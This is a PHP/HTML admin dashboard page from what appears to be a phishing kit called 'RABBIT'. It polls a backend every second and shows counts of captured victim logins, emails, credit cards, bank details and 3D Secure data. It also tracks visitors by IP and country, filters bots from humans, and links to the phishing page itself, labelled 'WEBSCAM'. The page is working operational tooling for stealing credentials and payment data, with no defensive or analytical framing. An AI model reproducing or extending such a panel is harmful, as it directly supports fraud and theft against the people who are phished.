<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>RABBIT</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta name="Author" content="Rabbit">
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/OFC/favicons/favicon.ico" type="image/x-icon">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&family=Roboto:wght@500;700&display=swap" rel="stylesheet"> 
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/Assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css">

    <!-- Libraries Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/admin/lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="<?= base_url() ?>RABBIT/Views/admin/lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css" rel="stylesheet" />
 
    <!-- Customized Bootstrap Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/admin/css/bootstrap.min.css" rel="stylesheet">

    <!-- Template Stylesheet -->
    <link href="<?= base_url() ?>RABBIT/Views/admin/css/fxc.css" rel="stylesheet">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Figtree:ital,wght@0,300..900;1,300..900&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: "Figtree", serif;
        }
    </style>
</head>

<body class="bg-black">
    <script type="text/javascript">
        setInterval(function() {
            fetch('/ap/admin/json')
                .then(r => r.json())
                .then(data => {
                    console.log(data)
                    let logaccount = data.logaccount
                    let logemail = data.logemail
                    let Secure = data.Secure
                    let logcard = data.logcard
                    let logbank = data.logbank
                    let logclick = data.logclick
                    let loghuman = data.loghuman
                    let logrobot = data.logrobot
                    

                    document.getElementById("logaccount").innerHTML = logaccount
                    document.getElementById("logemail").innerHTML = logemail
                    document.getElementById("Secure").innerHTML = Secure
                    document.getElementById("logcard").innerHTML = logcard
                    document.getElementById("logbank").innerHTML = logbank
                    document.getElementById("logclick").innerHTML = logclick
                    document.getElementById("loghuman").innerHTML = loghuman
                    document.getElementById("logrobot").innerHTML = logrobot
                });

            fetch('/ap/admin/logclick')
                .then(r => r.text())
                .then(data => {
                    console.log(data)
                    document.getElementById("tr").innerHTML = data
                })
        }, 1000);
    </script>
    <div class="container-fluid position-relative d-flex p-0 bg-dark">
        <div id="spinner" class="show bg-gray position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
            <div class="spinner-border text-dark" style="width: 3rem; height: 3rem;" role="status">
                <span class="sr-only">Loading...</span>
            </div>
        </div>
        <?php include "sidebar.php"; ?>
        <div class="content" style="background-color: black">
            <?php include "navbar.php"; ?>
            <div class="container-fluid pt-4 px-4">
                <div class="row g-4 m-2">
                    <?php if (_panel('VISITOR') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-mouse2-fill fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">CLICK</p>
                                <h3 style="text-align:right;" class=" text-white mb-0" id="logclick"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                     <?php if (_panel('GETPAP') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-person-fill fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">HUMAN</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="loghuman"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('BOT') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-robot fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">BOT</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logrobot"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('LOGIN') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-person-add fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">LOGIN</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logaccount"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    
                    
                </div> 

                <div class="row g-4 m-2">
                    <?php if (_panel('CARD') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-credit-card fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">CARD</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logcard"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('LOGEMAIL') == 'on') { ?>
                    <div class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="bi bi-envelope-at fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">EMAIL</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logemail"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <?php if (_panel('LOGBANK') == 'on') { ?>
                    <div class="col-sm-3 col-xl-6">
                        <div style="border: 2px solid red; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="fa fa-landmark fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-white mb-2">BANK</p>
                                <h3 style="text-align:right;" class="text-white mb-0" id="logbank"></h3>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                   
                    <?php if (_panel('3DSCURE') == 'on') { ?>
                    <div style="display:none;" class="col-sm-3 col-xl-3">
                        <div style="border: 2px solid gray; border-radius:15px;" class="bg-dark d-flex align-items-center justify-content-between p-2">
                            <i class="fa fa-key fa-3x text-warning"></i>
                            <div class="ms-3">
                                <p style="text-align:right; font-weight:bold; letter-spacing:2px;" class="text-dark mb-2"></p>
                                <h3 class="text-dark" style="text-align:right;" class="text-white mb-0" id="Secure" hidden></h3>
                                <h5 class="text-right text-white" class="mb-0">OFF</h5>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                    
                    <div class="row mt-4">
                        <div class="col-md-6">
                             <a style="color:white; border:2px solid white; padding: 15px; border-radius: 30px; font-weight:bold;" class="btn btn-white d-block w-100" href="<?= base_url() ?>?<?php echo _config('PARAMETER'); ?>" target="_blank">GO TO WEBSCAM</a>
                        </div>
                        <div class="col-md-6">
                            <form role="form" action="/ap/admin/update" method="POST" class="form login">
                              <input type="password" name="resetlog" class="form-control" value="resetlog" hidden="">
                              <button style="color:white; border:2px solid white; padding: 15px; border-radius: 30px; font-weight:bold;" class="btn btn-white d-block w-100" name="gasreset"><i class="fa fa-trash me-2 text-danger"></i> RESET ALL LOG</button>
                            </form>
                        </div>
                    </div>
                    
                    <?php ?>
                    <div class="col-12">
                        <div style="border:none; width:100%" class="card bg-dark">
                                <div class="col-md-12">
                                    <div class="card bg-dark">
                                        <div class="card-header bg-dark">
                                            <h4 class="card-title bg-dark text-white"> <i class="bi bi-laptop text-primary me-2"></i> LOG CLICK</h4>
                                        </div>
                                            <script type="text/javascript">
                                                setInterval(function() {
                                                    fetch('/ap/admin/logclick')
                                                        .then(r => r.text())
                                                        .then(data => {
                                                            console.log(data)
                                                            document.getElementById("tr").innerHTML = data
                                                        })
                                                }, 1000);
                                            </script>
                                        <?php ?>
                                        <div class="card-body bg-dark">
                                            <table *ngIf="dataSource" mat-table [dataSource]="dataSource" class="table mt-3">
                                                <thead>
                                                    <tr>
                                                        <th class="text-white text-center" scope="col">FLAG</th>
                                                        <th class="text-white text-center" scope="col">IP ADDRESS</th>
                                                        <th class="text-white text-center" scope="col">COUNTRY</th>
                                                        <th class="text-white text-center" scope="col">BROWSER</th>
                                                        <th class="text-white text-center" scope="col">INFO</th></th>
                                                        <th class="text-white text-center" scope="col">TIME</th>
                                                    </tr>
                                                </thead>
                                                <tbody class="text-white text-center" id="tr">
                                                    
                                                </tbody>
                                            </table>
                                        </div>
                                    </div>
                                </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <!-- JavaScript Libraries -->
    <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/chart/chart.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/easing/easing.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/waypoints/waypoints.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/owlcarousel/owl.carousel.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/tempusdominus/js/moment.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/tempusdominus/js/moment-timezone.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/lib/tempusdominus/js/tempusdominus-bootstrap-4.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Views/admin/js/main.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/core/popper.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/core/bootstrap.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chartist/chartist.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/chart-circle/circles.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/ready.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/Assets/js/demo.js"></script>
    
</body>
<?php if (@$_SESSION['sukses']) { ?>
    <script>
        <?php echo $_SESSION['sukses']; ?>
    </script>
<?php unset($_SESSION['sukses']);
} ?>
</html>